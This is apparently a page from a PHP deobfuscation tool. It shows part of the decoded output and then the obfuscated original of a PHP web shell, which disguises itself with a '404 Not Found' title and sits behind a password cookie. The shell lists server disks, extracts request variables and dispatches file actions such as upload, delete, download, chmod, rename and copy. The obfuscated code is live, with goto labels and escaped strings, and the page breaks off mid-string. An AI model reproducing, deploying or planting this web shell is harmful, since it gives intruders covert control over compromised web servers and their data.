$eof = str_replace($serach, $replace, $eof); $json["status"] = "ok"; $json["data"] = $eof; if (!ob_start("ob_gzhandler")) { ob_start(); } echo json_encode($json); ob_end_flush(); die; } protected static function disk() { if (is_win) { $cdrom = range("A", "Z"); foreach ($cdrom as $disk) { $disk = sprintf("%s%s", $disk, ":"); if (is_readable($disk)) { $return .= sprintf("<a href="javascript:;;;" name="%s" onclick="ajax(this.name,1)">DISK %s</a> | ", $disk, $disk); } } return trim($return, "| "); } else { if (function_exists("scandir")) { $cdrom = scandir("/"); } elseif (function_exists("glob")) { foreach (glob("/*") as $ff) { $cdrom[] = basename($ff); } } foreach ($cdrom as $disk) { if ($disk == "." || $disk == "..") { continue; } $disk = sprintf("%s%s", "/", $disk); if (is_readable($disk)) { if (is_dir($disk)) { $return .= sprintf("<a href="javascript:;;;" name="%s" onclick="ajax(this.name,1)">%s</a> | ", urlencode($disk), str_replace("/", '', $disk)); } } } return trim($return, "| "); } } protected static function G($start, $end = '', $dec = 6) { static $_info = array(); if (is_float($end)) { $_info[$start] = $end; } elseif (!empty($end)) { if (!isset($_info[$end])) { $_info[$end] = microtime(true); } return number_format($_info[$end] - $_info[$start], $dec); } else { $_info[$start] = microtime(true); } } protected static function authentication() { if (true == password) { if (!empty($_POST["pwd"]) && strlen(password) == 32) { $password = hash(crypt, $_POST["pwd"]); } else { $password = $_POST["pwd"]; } if (true == $password && $password !== password) { die("{"error":"\xe5\xaf\x86\347\xa0\x81\xe9\x94\231\350\257\xaf!"}"); } if (true == $password && $password == password) { setcookie("verify", $password, time() + 3600 * 24 * 30); self::headers(); die; } if (!isset($_COOKIE["verify"]) || empty($_COOKIE["verify"]) || (string) $_COOKIE["verify"] !== password) { if ($_SERVER["HTTP_AJAX"] == "true") { die("{"status":"off"}"); } self::login(); die; } } if ($_SERVER["HTTP_AJAX"] == "true") { self::headers(); } } public function logout() { setcookie("key", '', time() - 3600 * 24 * 30); unset($_COOKIE["key"]); session_start(); session_destroy(); $login = "  <div id="load">
   </div>\xa   <div class="h"></div>\xa   <div id="login">\xa     <span style="font:11px Verdana;">
       Password: 
     </span>
     <input id="pwd" name="pwd" type="password" size="20">\xa     <input id="login_open" type="button" value="Login">
  </div>"; $json["status"] = "close"; $json["data"] = $login; die(json_encode($json)); } static function login() { $login = "<!DOCTYPE HTML>\xa<head>
<meta http-equiv="content-type" content="text/html" />\xa<meta http-equiv="content-type" charset="UTF-8" />\xa<title>{title}</title>
{css}\xa{js}\xa</head>\xa<body>
  <div id="load">
   </div>
   <div class="h"></div>
   <div id="login">
     <span style="font:11px Verdana;">\xa       Password: \xa     </span>
     <input id="pwd" name="pwd" type="password" size="20">\xa     <input id="login_open" type="button" value="Login">
  </div>\xa</body>
</html>"; $search = array("{css}", "{title}", "{js}"); $replace = array(self::css(), title, self::js()); echo str_replace($search, $replace, $login); } protected static function getperms($path) { $perms = fileperms($path); if (($perms & 49152) == 49152) { $info = "s"; } elseif (($perms & 40960) == 40960) { $info = "l"; } elseif (($perms & 32768) == 32768) { $info = "-"; } elseif (($perms & 24576) == 24576) { $info = "b"; } elseif (($perms & 16384) == 16384) { $info = "d"; } elseif (($perms & 8192) == 8192) { $info = "c"; } elseif (($perms & 4096) == 4096) { $info = "p"; } else { $info = "?????????"; return $info; } $info .= $perms & 256 ? "r" : "-"; $info .= $perms & 128 ? "w" : "-"; $info .= $perms & 64 ? $perms & 2048 ? "s" : "x" : ($perms & 2048 ? "S" : "-"); $info .= $perms & 32 ? "r" : "-"; $info .= $perms & 16 ? "w" : "-"; $info .= $perms & 8 ? $perms & 1024 ? "s" : "x" : ($perms & 1024 ? "S" : "-"); $info .= $perms & 4 ? "r" : "-"; $info .= $perms & 2 ? "w" : "-"; $info .= $perms & 1 ? $perms & 512 ? "t" : "x" : ($perms & 512 ? "T" : "-"); return $info; } protected static function byte_format($size, $dec = 2) { $a = array("B", "KB", "MB", "GB", "TB", "PB"); $pos = 0; while ($size >= 1024) { $size /= 1024; $pos++; } return round($size, $dec) . '' . $a[$pos]; } protected static function convert_to_utf8($str, $type = "gbk") { if (function_exists("iconv")) { if ($type == "gbk") { if (false == @iconv("GBK", "UTF-8", $str)) { return $str; } else { return @iconv("GBK", "UTF-8", $str); } } if ($type == "utf8") { if (false == @iconv("UTF-8", "GBK", $str)) { return $str; } else { return @iconv("UTF-8", "GBK", $str); } } } else { return $str; } } } goto nDhsi; Ptw9f: ?>

Did this file decode correctly?

Original Code

<?php
 goto jbITA; nDhsi: function run() { set_time_limit(0); ini_set("\155\145\x6d\x6f\162\171\x5f\x6c\x69\x6d\x69\x74", -1); if (!defined("\160\x61\163\x73\167\x6f\x72\144")) { define("\160\x61\x73\163\167\x6f\x72\x64", ''); } if (!defined("\x74\151\x74\x6c\145")) { define("\x74\151\x74\x6c\x65", "\x34\60\64\x20\116\x6f\164\x20\x46\157\x75\156\x64"); } if (!defined("\143\157\160\x79\162\151\147\x68\164")) { define("\143\157\x70\171\x72\x69\147\150\x74", "\x45"); } define("\163\145\x6c\x66", $_SERVER["\123\x43\122\111\x50\x54\x5f\x4e\x41\115\x45"]); define("\143\162\x79\x70\x74", "\162\x69\x70\x65\x6d\x64\x31\x32\x38"); define("\137\137\122\x4f\117\124\x5f\137", $_SERVER["\x44\117\103\x55\115\x45\116\x54\137\122\117\x4f\124"]); define("\x69\163\x5f\167\151\x6e", "\x77\x69\156" == substr(strtolower(PHP_OS), 0, 3)); date_default_timezone_set("\141\163\x69\x61\57\163\150\x61\x6e\147\x68\141\151"); define("\x67\172\151\x70", function_exists("\157\x62\x5f\x67\x7a\x68\141\x6e\x64\154\145\x72") ? "\x67\172\151\x70\40\x6f\156" : "\x67\x7a\x69\x70\40\x6f\x66\146"); extract($_POST); extract($_GET); header("\x43\x61\x63\150\145\55\x43\x6f\156\164\162\x6f\x6c\x3a\40\x6e\157\x2d\143\x61\x63\150\x65\54\x20\x6d\x75\x73\164\55\162\x65\x76\141\154\x69\144\141\x74\145"); header("\120\162\x61\x67\x6d\x61\x3a\x20\x6e\x6f\55\143\141\143\x68\x65"); project::init(); $action = !empty($action) ? strtolower(rtrim($action, "\57")) : "\154\157\147\x69\x6e"; if (!is_callable(array("\160\162\157\x6a\x65\143\x74", $action))) { return false; } if (!method_exists("\160\x72\157\152\x65\143\x74", $action)) { return false; } call_user_func(array("\160\162\x6f\x6a\145\x63\x74", $action)); } goto Ptw9f; KDOFI: run(); goto Gajmj; jbITA: ?>
//<?php  goto KDOFI; Gajmj: class project { protected static function js() { $js = "\x3c\x73\x63\162\151\x70\x74\76\12\x66\165\x6e\x63\x74\x69\x6f\x6e\x20\x73\151\x64\x65\117\x75\164\50\144\x2c\40\164\51\x20\x7b\12\x9\x77\151\x6e\144\x6f\x77\x2e\163\x65\x74\124\151\x6d\145\157\165\x74\50\x64\x69\163\x70\154\141\x79\54\40\x74\x29\73\xa\x9\x66\165\156\x63\164\151\x6f\156\x20\x64\151\x73\x70\x6c\x61\x79\x28\51\40\x7b\12\11\x9\x24\x28\42\154\x6f\141\x64\42\x29\56\x73\x74\171\154\x65\56\x64\151\163\x70\154\141\171\x20\75\40\x22\x6e\x6f\156\145\x22\xa\11\175\xa\175\xa\x66\165\x6e\143\x74\x69\x6f\156\x20\141\x6a\141\170\50\141\x72\x67\x2c\40\164\x79\160\x65\51\40\173\12\x9\x69\146\x20\50\44\50\x22\154\157\x61\x64\x22\51\51\40\x7b\xa\x9\x9\44\50\42\x6c\x6f\141\x64\x22\x29\56\x73\164\171\154\145\56\x64\x69\163\x70\x6c\141\x79\40\x3d\x20\42\142\154\157\x63\153\x22\x3b\xa\11\x9\44\50\42\x6c\157\141\144\x22\x29\x2e\151\x6e\x6e\145\162\110\124\115\x4c\x20\75\40\x22\346\xad\243\345\x9c\xa8\xe8\275\xbd\xe5\x85\xa5\x2e\x2e\x2e\56\56\x2e\x22\xa\x9\x7d\12\11\151\146\x20\x28\164\171\160\x65\x20\x3d\75\40\62\x20\174\174\40\141\162\x67\40\x3d\75\40\x32\51\x20\x7b\12\x9\11\x24\x28\42\154\157\x61\x64\x22\51\x2e\151\x6e\156\x65\162\x48\x54\x4d\114\40\75\40\x22\345\x8a\x9f\350\x83\xbd\xe9\x99\x86\347\xbb\xad\345\256\214\345\x96\204\344\xb8\xad\56\x2e\x2e\56\56\x2e\42\73\12\11\x9\x73\151\x64\145\117\x75\x74\x28\44\x28\x22\154\157\141\144\x22\51\54\40\61\65\60\x30\x29\x3b\xa\11\x9\162\145\164\165\162\x6e\xa\x9\x7d\xa\x9\x69\x66\40\x28\x74\x79\160\x65\x20\75\x3d\x20\x31\51\40\141\162\147\x20\75\x20\47\x61\143\164\151\x6f\156\75\x73\150\x6f\x77\x26\144\151\162\x3d\47\x20\53\40\x61\162\x67\x3b\12\x9\151\x66\40\50\x74\x79\x70\x65\x20\75\x3d\40\x33\x29\40\x7b\xa\x9\11\x69\x66\40\50\x63\x6f\156\x66\151\162\155\50\x22\xe7\241\256\xe5\256\232\345\x88\xa0\xe9\x99\244\345\xbd\223\345\x89\215\xe6\226\207\344\273\266\344\xb9\210\77\x22\51\51\40\141\162\x67\40\x3d\40\x27\x61\143\164\151\x6f\x6e\75\x64\x65\x6c\145\x74\145\x26\146\151\154\145\x3d\x27\40\x2b\40\141\x72\x67\x3b\xa\x9\11\145\154\x73\x65\x20\173\xa\x9\x9\11\44\x28\x22\x6c\x6f\x61\144\x22\x29\56\151\156\156\x65\x72\x48\124\x4d\114\x20\x3d\x20\42\346\223\x8d\344\275\x9c\xe5\267\xb2\xe5\217\x96\xe6\266\210\42\x3b\12\11\x9\x9\163\151\x64\145\x4f\x75\164\50\44\x28\42\x6c\157\x61\x64\x22\x29\54\x20\x31\65\x30\x30\x29\73\xa\x9\11\x9\x72\x65\x74\165\162\156\xa\11\11\175\xa\11\175\xa\x9\151\x66\40\x28\164\x79\160\145\x20\x3d\x3d\x20\x34\51\40\173\xa\x9\x9\167\151\156\144\x6f\x77\56\x6c\157\x63\141\x74\151\x6f\156\56\x68\162\145\146\40\75\x20\47\77\x61\x63\164\x69\x6f\156\x3d\144\157\167\156\154\x6f\x61\144\46\146\x69\x6c\x65\75\47\40\x2b\40\x61\x72\x67\x3b\xa\x9\11\163\151\144\145\x4f\x75\164\x28\x24\50\42\154\x6f\141\144\x22\x29\54\x20\65\60\x30\51\73\xa\11\11\x72\145\164\165\162\156\12\x9\175\12\11\x69\146\x20\x28\x74\171\160\145\x20\x3d\75\x20\x35\x29\40\173\xa\11\x9\166\141\x72\x20\x6d\x6b\40\75\40\160\x72\x6f\155\x70\164\x28\47\350\xaf\xb7\xe8\xbe\x93\345\205\245\xe5\x88\233\345\273\272\xe6\x96\207\xe4\xbb\266\345\244\xb9\345\x90\x8d\347\xa7\xb0\x3a\47\x2c\40\47\47\51\73\12\x9\x9\x69\146\40\x28\41\155\x6b\x29\x20\173\xa\11\11\x9\x24\x28\x22\154\x6f\141\x64\x22\x29\56\151\156\156\145\162\110\x54\115\114\x20\x3d\x20\x22\xe6\x93\215\344\xbd\234\345\xb7\xb2\xe5\217\x96\346\xb6\x88\x22\x3b\xa\11\x9\11\x73\x69\144\x65\x4f\x75\x74\50\x24\50\42\x6c\157\141\144\x22\51\54\x20\61\65\x30\60\51\x3b\xa\11\11\11\162\145\x74\165\x72\156\12\x9\x9\x7d\12\11\11\141\x72\147\x20\75\x20\47\x61\x63\x74\151\x6f\156\75\137\155\153\x64\x69\x72\x26\144\x69\162\75\x27\40\x2b\40\155\x6b\12\x9\175\xa\11\151\146\x20\x28\x74\x79\x70\145\x20\x3d\x3d\40\x36\x29\40\173\xa\x9\11\44\x28\42\165\x70\154\157\x61\x64\42\51\56\x73\164\171\154\x65\x2e\x64\151\x73\x70\154\141\x79\40\x3d\x20\47\142\154\157\143\x6b\47\x3b\xa\11\11\x24\50\42\143\154\157\163\x65\x5f\146\x69\x6c\145\x22\51\x2e\x6f\x6e\x63\x6c\151\x63\153\40\75\40\x66\165\156\x63\x74\x69\x6f\156\x28\x29\40\173\xa\x9\11\x9\44\x28\x22\x75\x70\x6c\x6f\141\144\42\x29\x2e\x73\x74\171\154\145\x2e\x64\x69\163\x70\154\x61\171\x20\75\x20\x27\156\157\156\145\x27\73\12\x9\11\11\44\x28\42\x6c\157\141\144\42\x29\56\151\x6e\x6e\145\x72\110\124\x4d\x4c\40\75\40\42\xe6\x93\215\344\xbd\234\xe5\267\xb2\345\217\x96\346\xb6\210\42\x3b\12\x9\x9\x9\163\151\x64\x65\x4f\165\164\x28\x24\50\42\154\x6f\141\144\42\x29\x2c\x20\61\65\60\60\51\73\12\x9\11\x9\162\x65\164\x75\162\x6e\xa\x9\x9\175\12\11\x9\x24\50\x22\137\x66\x69\154\145\42\x29\56\x6f\156\143\154\151\x63\153\40\75\x20\x66\165\156\x63\164\151\157\156\50\51\x20\173\xa\x9\11\11\x74\x68\151\163\56\146\x6f\162\x6d\x2e\x73\165\x62\155\151\164\x28\x29\x3b\12\11\11\x9\44\x28\x22\165\x70\x6c\157\141\144\42\51\56\x73\x74\x79\x6c\x65\x2e\x64\151\163\x70\154\x61\x79\x20\75\40\47\x6e\x6f\156\x65\x27\x3b\12\11\11\11\44\x28\x22\165\x73\145\x72\x66\151\x6c\145\x22\x29\56\x76\x61\x6c\165\x65\40\75\x20\47\x27\x3b\12\x9\11\11\x72\145\164\165\x72\x6e\xa\11\x9\175\12\11\x9\x72\x65\x74\x75\162\156\12\x9\x7d\xa\x9\141\143\164\x69\157\156\40\x3d\x20\141\162\147\x20\x3f\x20\x61\162\x67\x3a\x20\x27\141\x63\x74\151\x6f\x6e\75\x73\150\157\x77\47\73\12\11\166\x61\162\x20\x6f\x70\164\x69\157\x6e\163\x20\x3d\x20\173\x7d\73\xa\x9\x6f\x70\164\x69\157\156\163\x2e\x75\162\154\40\x3d\x20\47\173\x73\x65\x6c\x66\175\47\x3b\xa\x9\x6f\x70\x74\151\x6f\x6e\x73\56\154\x69\163\x74\x65\156\x65\x72\x20\x3d\40\x63\x61\154\x6c\x62\141\143\x6b\x3b\12\11\157\160\x74\151\x6f\156\x73\56\x6d\145\x74\150\157\x64\40\75\x20\47\120\x4f\x53\124\x27\73\xa\11\x76\x61\x72\40\162\145\x71\165\x65\163\164\x20\75\40\x58\155\154\122\x65\161\x75\x65\163\x74\x28\x6f\160\x74\151\x6f\156\x73\x29\73\12\11\x72\x65\x71\165\x65\163\164\x2e\163\x65\164\x52\145\x71\x75\145\x73\x74\x48\x65\x61\144\145\162\50\x27\103\x6f\x6e\x74\145\156\164\x2d\164\x79\x70\145\x27\x2c\x20\x27\141\160\160\x6c\151\143\x61\x74\151\157\156\57\x78\x2d\167\x77\167\x2d\146\157\x72\x6d\x2d\x75\162\154\145\x6e\143\157\144\145\144\47\51\x3b\xa\x9\x72\145\161\165\x65\163\164\x2e\x73\x65\x6e\x64\x28\x61\143\164\x69\157\x6e\51\xa\175\xa\146\x75\156\x63\164\151\x6f\156\40\166\151\145\167\50\x61\162\x67\x29\40\173\12\11\141\x63\x74\x69\157\156\x20\x3d\x20\x27\x61\143\x74\151\x6f\x6e\75\x76\x69\x65\x77\46\x66\x69\154\145\x3d\47\x20\x2b\40\x61\x72\147\73\xa\11\x76\141\x72\x20\x6f\x70\164\x69\157\156\163\40\x3d\40\x7b\175\73\xa\11\157\160\164\151\x6f\156\x73\56\x75\x72\x6c\x20\75\40\x27\x7b\163\x65\x6c\x66\x7d\x27\x3b\xa\11\x6f\x70\164\x69\157\x6e\x73\56\x6c\x69\x73\x74\x65\156\145\x72\x20\x3d\x20\166\151\145\x77\x63\141\x6c\154\x62\x61\x63\x6b\73\12\11\157\160\164\x69\x6f\156\x73\56\155\145\x74\150\x6f\144\x20\75\x20\x27\120\x4f\123\x54\x27\x3b\xa\11\x76\141\x72\40\x72\145\x71\165\x65\x73\x74\x20\x3d\40\x58\x6d\154\122\145\x71\x75\145\163\164\50\157\x70\x74\x69\x6f\x6e\163\x29\73\xa\11\162\x65\x71\165\x65\163\x74\56\x73\x65\164\x52\x65\x71\165\145\x73\164\x48\145\141\144\145\162\50\47\x43\157\156\164\x65\156\x74\x2d\x74\171\160\x65\x27\x2c\40\47\x61\x70\x70\x6c\151\x63\x61\164\x69\x6f\156\57\170\55\167\167\167\x2d\146\x6f\162\x6d\55\165\x72\x6c\145\x6e\143\x6f\144\145\x64\x27\x29\x3b\12\11\162\x65\x71\x75\145\163\164\x2e\163\145\x6e\144\50\141\143\164\151\157\x6e\x29\xa\x7d\xa\146\x75\x6e\x63\x74\151\157\156\x20\145\x64\x69\164\50\51\40\173\xa\x9\x24\x28\42\x6c\157\x61\144\42\x29\x2e\x73\x74\171\154\145\x2e\144\151\x73\160\154\x61\171\40\x3d\x20\x22\142\154\157\143\x6b\42\73\xa\11\x24\x28\42\154\157\141\144\x22\51\x2e\x69\x6e\156\145\162\x48\124\115\114\40\75\40\42\347\xa1\256\344\xbf\235\347\xbc\226\347\240\201\xe4\xb8\200\350\x87\264\x2c\xe4\270\x8d\xe5\x9c\xa8\xe6\x8f\220\xe4\276\x9b\347\274\226\350\xbe\x91\xe5\x8a\x9f\350\203\275\x2e\xe5\x8f\xaf\xe4\273\xa5\xe4\275\277\347\x94\xa8\xe4\270\212\xe4\274\xa0\345\x8a\237\xe8\x83\275\350\xa6\x86\347\233\226\xe5\275\x93\345\x89\x8d\xe7\274\x96\350\xbe\221\xe6\226\207\344\273\266\41\x22\73\xa\11\x73\151\144\145\x4f\x75\x74\50\44\50\42\x6c\x6f\141\x64\42\x29\x2c\40\64\60\60\x30\51\73\xa\11\x72\x65\x74\x75\162\x6e\12\175\12\x66\x75\x6e\x63\164\151\x6f\156\40\x66\x69\154\145\x70\145\x72\155\x28\x6e\x61\x6d\145\54\40\164\x79\x70\x65\51\40\x7b\12\x9\x76\141\x72\x20\x6e\145\x77\x70\x65\162\155\73\12\x9\151\x66\x20\x28\x74\171\x70\x65\x20\75\75\x20\63\51\40\x6e\x65\x77\160\145\162\155\40\x3d\x20\160\x72\x6f\x6d\x70\164\50\47\351\x9c\x80\350\xa6\x81\350\xbe\223\xe5\x85\245\345\xae\x8c\xe6\225\264\350\267\xaf\xe5\xbe\x84\x28\345\x8c\x85\xe5\220\xab\346\x96\x87\xe4\273\xb6\xe5\220\x8d\51\x3a\x27\x2c\x20\47\x27\x29\73\xa\x9\x65\x6c\x73\x65\x20\156\145\167\160\145\162\155\x20\75\x20\x70\162\x6f\155\x70\x74\50\x27\xe8\xaf\267\350\276\223\345\x85\245\345\220\215\xe7\247\xb0\x3a\x27\54\40\47\47\x29\x3b\12\11\151\146\40\x28\41\156\x65\x77\160\x65\162\x6d\x29\x20\162\x65\164\165\x72\156\x3b\xa\11\x69\146\x20\x28\x74\171\160\x65\x20\75\x3d\x20\x31\51\x20\x63\150\x6d\157\x64\x28\156\141\x6d\145\54\40\x6e\x65\167\x70\x65\162\x6d\x29\73\12\x9\151\x66\40\x28\x74\x79\160\x65\40\x3d\x3d\40\62\x29\x20\162\145\x6e\x61\155\x65\x28\x6e\141\x6d\145\x2c\x20\x6e\145\x77\x70\x65\x72\x6d\x29\73\xa\x9\151\146\40\x28\x74\x79\x70\x65\40\75\75\40\x33\x29\x20\x63\x6f\160\171\x28\x6e\x61\155\x65\x2c\40\x6e\x65\167\x70\x65\162\155\x29\xa\175\xa\146\x75\x6e\x63\164\x69\x6f\x6e\40\143\x68\155\157\x64\50\x6e\141\155\x65\x2c\40\x70\x65\162\x6d\51\x20\173\xa\11\x61\x63\164\x69\x6f\x6e\x20\75\40\47\x61\x63\164\151\x6f\156\x3d\143\150\x6d\157\144\x26\x66\151\x6c\x65\75\47\40\x2b\x20\x6e\141\x6d\145\x20\53\40\47\46\160\145\x72\155\75\47\x20\x2b\x20\x70\145\162\155\x3b\xa\x9\x76\x61\x72\40\x6f\x70\x74\x69\x6f\x6e\163\40\x3d\x20\173\175\x3b\xa\x9\x6f\160\x74\151\157\156\x73\x2e\x75\162\154\40\75\x20\47\173\163\x65\154\146\x7d\47\x3b\xa\11\157\160\x74\x69\x6f\x6e\x73\56\x6c\x69\x73\164\145\x6e\x65\x72\x20\75\40\x63\x61\154\x6c\x62\x61\x63\x6b\73\12\x9\x6f\x70\x74\151\x6f\156\163\x2e\x6d\x65\x74\x68\157\x64\40\75\40\x27\120\117\123\x54\x27\x3b\xa\11\166\x61\162\x20\x72\145\161\165\x65\163\164\x20\x3d\x20\x58\x6d\154\x52\x65\161\165\145\163\x74\x28\x6f\160\164\151\157\x6e\163\x29\x3b\xa\x9\x72\145\x71\165\x65\163\x74\x2e\163\145\x74\x52\x65\161\165\x65\x73\x74\110\x65\141\x64\x65\x72\50\47\103\157\x6e\164\145\x6e\x74\x2d\164\x79\x70\x65\47\x2c\40\47\141\160\x70\154\x69\143\141\164\x69\x6f\156\x2f\170\55\167\x77\167\55\x66\x6f\x72\155\55\165\162\154\x65\156\x63\157\144\145\144\x27\x29\x3b\12\11\162\x65\161\165\x65\163\x74\56\x73\x65\x6e\x64\50\141\x63\x74\x69\157\x6e\51\12\x7d\12\146\x75\x6e\143\164\x69\x6f\x6e\40\x72\x65\x6e\x61\155\x65\x28\x6e\141\x6d\x65\54\40\x70\145\162\x6d\x29\40\x7b\xa\11\x61\143\x74\x69\157\156\40\75\x20\x27\141\143\x74\x69\157\156\75\x72\145\156\x61\x6d\x65\x26\x66\x69\x6c\x65\75\47\x20\53\40\156\141\155\145\40\x2b\40\x27\x26\x6e\x65\x77\x6e\141\155\x65\75\x27\x20\x2b\x20\x70\145\x72\155\x3b\12\x9\x76\x61\162\x20\157\x70\x74\151\x6f\156\x73\x20\x3d\40\173\x7d\73\xa\11\157\x70\x74\x69\x6f\x6e\163\x2e\165\x72\154\x20\x3d\40\x27\x7b\x73\x65\154\x66\x7d\47\x3b\12\11\157\160\x74\x69\x6f\156\163\x2e\154\x69\163\x74\145\156\145\x72\x20\75\40\x63\141\x6c\154\x62\141\143\x6b\x3b\xa\11\157\x70\x74\151\x6f\x6e\163\56\155\145\164\150\x6f\x64\40\x3d\40\x27\x50\117\123\124\x27\73\xa\x9\166\141\162\x20\162\145\x71\165\x65\x73\x74\x20\75\40\130\x6d\x6c\122\x65\161\x75\145\x73\x74\50\157\x70\164\x69\157\156\x73\x29\73\12\x9\162\x65\x71\165\145\163\x74\56\x73\145\x74\122\x65\161\165\145\x73\x74\x48\x65\x61\x64\x65\x72\x28\47\103\157\156\164\x65\x6e\164\55\x74\171\160\x65\x27\54\40\x27\x61\160\x70\x6c\x69\143\141\164\x69\157\156\57\x78\x2d\167\167\x77\55\x66\157\162\x6d\55\x75\162\x6c\x65\156\x63\x6f\144\145\x64\47\x29\73\12\x9\162\x65\x71\165\145\x73\x74\56\163\x65\x6e\x64\x28\141\x63\164\x69\157\x6e\x29\12\x7d\12\x66\165\x6e\143\x74\x69\x6f\x6e\x20\x63\x6f\x70\171\50\156\x61\x6d\x65\54\x20\x70\145\x72\155\51\40\173\xa\x9\141\x63\x74\151\157\x6e\x20\x3d\40\47\141\143\x74\151\157\156\75\x63\157\160\x79\x66\151\x6c\x65\46\146\x69\154\145\x3d\47\x20\x2b\x20\x6e\141\155\x65\40\x2b\40\x27\46\x63\x6f\160\x79\146\151\x6c\x65\75\47\40\53\40\x70\x65\x72\155\x3b\xa\x9\x76\x61\x72\x20\x6f\160\x74\x69\x6f\156\x73\x20\x3d\x20\x7b\x7d\73\12\x9\157\x70\164\151\x6f\x6e\163\x2e\x75\x72\154\x20\75\x20\47\x7b\163\x65\154\146\x7d\x27\73\xa\x9\x6f\x70\x74\151\157\x6e\163\56\154\151\163\x74\145\156\x65\162\40\75\x20\143\141\154\154\x62\x61\x63\153\73\xa\11\x6f\160\164\151\x6f\x6e\163\x2e\x6d\x65\164\150\157\144\x20\75\x20\x27\120\117\123\124\47\x3b\12\11\x76\x61\x72\x20\x72\145\161\x75\x65\163\164\40\75\40\x58\155\x6c\x52\x65\161\x75\x65\163\164\50\157\x70\x74\151\x6f\x6e\163\51\73\12\11\162\x65\161\165\145\x73\x74\x2e\163\x65\x74\x52\x65\x71\165\x65\163\x74\110\145\x61\144\145\x72\x28\x27\x43\x6f\x6e\x74\145\156\164\55\164\171\x70\x65\x27\x2c\x20\x27\141\160\x70\x6c\151\x63\141\164\151\157\x6e\57\170\x2d\167\x77\x77\x2d\x66\x6f\x72\155\x2d\165\x72\x6c\145\156\x63\x6f\144\145\144\x27\x29\73\12\x9\x72\x65\161\x75\x65\163\x74\56\163\x65\156\x64\50\141\143\164\x69\157\156\51\xa\x7d\12\146\x75\156\x63\164\151\157\x6e\x20\x58\155\x6c\122\x65\x71\x75\x65\x73\x74\x28\157\x70\x74\151\x6f\156\x73\x29\40\x7b\12\x9\166\141\x72\x20\162\145\161\40\75\40\x66\141\154\x73\145\x3b\12\x9\151\x66\x20\x28\167\151\156\144\x6f\x77\56\130\115\114\x48\164\x74\160\122\x65\x71\x75\145\163\164\51\x20\173\12\11\11\x76\141\162\40\162\145\161\40\x3d\x20\x6e\x65\x77\x20\130\115\114\x48\x74\x74\x70\122\145\161\165\145\163\x74\50\51\xa\11\x7d\x20\x65\x6c\x73\x65\x20\x69\146\40\x28\x77\151\x6e\x64\157\x77\x2e\x41\143\x74\x69\166\x65\x58\117\142\152\x65\x63\164\51\x20\173\12\x9\x9\166\141\162\40\x72\x65\x71\40\x3d\40\156\x65\x77\40\167\x69\156\144\x6f\167\x2e\x41\x63\164\x69\166\145\x58\117\x62\x6a\x65\x63\164\x28\x27\x4d\x69\143\162\x6f\163\x6f\146\164\56\x58\115\x4c\110\124\x54\120\x27\x29\12\11\175\12\11\x69\146\40\x28\41\162\x65\x71\51\x20\162\145\164\x75\x72\156\40\146\141\x6c\163\x65\x3b\xa\x9\x72\x65\x71\56\157\x6e\162\x65\x61\x64\x79\x73\164\x61\164\145\143\x68\141\x6e\147\145\x20\75\x20\146\x75\x6e\x63\x74\x69\x6f\156\x28\51\40\x7b\xa\x9\11\151\x66\x20\50\162\145\x71\x2e\162\145\141\144\x79\x53\164\x61\x74\145\x20\x3d\x3d\40\64\40\46\x26\x20\162\x65\161\56\x73\164\141\164\x75\x73\x20\75\x3d\x20\x32\x30\60\x29\x20\173\12\11\x9\11\x6f\x70\x74\x69\x6f\156\163\x2e\154\x69\x73\x74\x65\x6e\x65\162\56\143\x61\154\154\50\x72\x65\x71\51\xa\11\x9\175\xa\11\x7d\x3b\12\x9\162\x65\161\x2e\157\160\145\x6e\x28\157\160\x74\x69\157\156\163\56\155\x65\x74\150\x6f\x64\x2c\x20\157\160\x74\151\x6f\156\x73\x2e\165\x72\x6c\54\x20\x74\162\165\145\51\73\xa\11\162\x65\x74\165\x72\x6e\40\x72\145\161\xa\175\xa\146\x75\x6e\x63\164\151\157\156\x20\x76\x69\x65\x77\x63\141\154\x6c\142\141\143\x6b\x28\x29\40\x7b\xa\11\x76\141\x72\40\x64\141\x74\x61\x20\75\40\164\x68\x69\x73\x2e\162\x65\163\160\x6f\x6e\x73\x65\124\145\x78\x74\73\xa\x9\151\146\x20\x28\144\x61\x74\x61\x29\x20\173\xa\x9\x9\x24\50\x22\157\x70\x65\x6e\42\51\56\163\x74\x79\154\145\56\144\151\x73\160\154\141\x79\40\x3d\40\42\142\154\x6f\x63\153\x22\x3b\12\11\11\x24\x28\42\163\150\x6f\x77\x5f\146\x69\x6c\145\42\x29\x2e\146\x6f\143\165\163\50\x29\73\12\11\x9\44\x28\42\163\x68\x6f\x77\x5f\x66\x69\x6c\x65\x22\x29\56\151\156\156\145\x72\110\x54\x4d\114\40\75\40\144\x61\164\x61\x3b\xa\x9\x9\x63\x6c\157\163\x65\50\x29\x3b\12\11\11\x24\50\x22\x73\x68\x6f\x77\137\x66\x69\154\x65\42\51\x2e\157\156\142\154\165\x72\40\75\40\146\x75\x6e\143\x74\151\x6f\x6e\50\51\40\x7b\xa\11\11\11\x24\50\42\157\160\145\x6e\x22\51\x2e\x73\164\x79\154\x65\x2e\144\x69\163\x70\154\x61\171\x20\x3d\x20\42\156\x6f\x6e\145\x22\xa\x9\x9\175\xa\x9\175\x20\x65\154\163\x65\40\173\xa\x9\x9\x24\50\x22\154\157\x61\x64\x22\x29\56\163\x74\x79\154\145\x2e\144\151\163\x70\154\x61\171\40\75\40\42\142\x6c\x6f\143\x6b\x22\x3b\12\11\x9\x24\50\x22\154\157\141\144\42\x29\56\x69\156\156\x65\162\x48\x54\115\x4c\40\75\40\x22\xe4\270\x8d\xe6\224\xaf\xe6\214\201\xe9\xa2\x84\350\247\210\346\xad\244\xe7\xb1\xbb\345\x9e\213\347\x9a\x84\xe6\226\207\344\273\266\x2c\xe6\210\226\xe8\x80\205\xe9\xa2\x84\350\247\210\xe7\232\x84\346\226\x87\344\xbb\266\xe5\244\xa7\xe4\272\x8e\x31\x4d\x62\x21\x22\73\12\x9\11\163\x69\x64\x65\x4f\x75\x74\50\x24\50\42\x6c\157\x61\144\x22\51\x2c\x20\x32\60\60\60\51\73\12\x9\x9\162\x65\x74\x75\x72\x6e\12\11\x7d\xa\x7d\xa\x66\165\x6e\x63\164\151\157\156\40\x63\x61\x6c\154\x62\141\x63\153\50\51\x20\173\xa\x9\166\141\162\x20\x6a\163\x6f\x6e\x20\75\x20\145\x76\x61\154\x28\42\x28\x22\40\53\x20\x74\150\x69\x73\x2e\x72\145\x73\x70\157\156\163\x65\124\145\x78\x74\x20\53\x20\42\x29\x22\x29\73\12\11\151\146\40\50\x6a\163\x6f\x6e\x2e\163\x74\x61\x74\165\163\x20\75\75\40\47\157\146\146\x27\51\x20\173\12\x9\11\144\x6f\143\x75\x6d\145\156\164\x2e\157\x6e\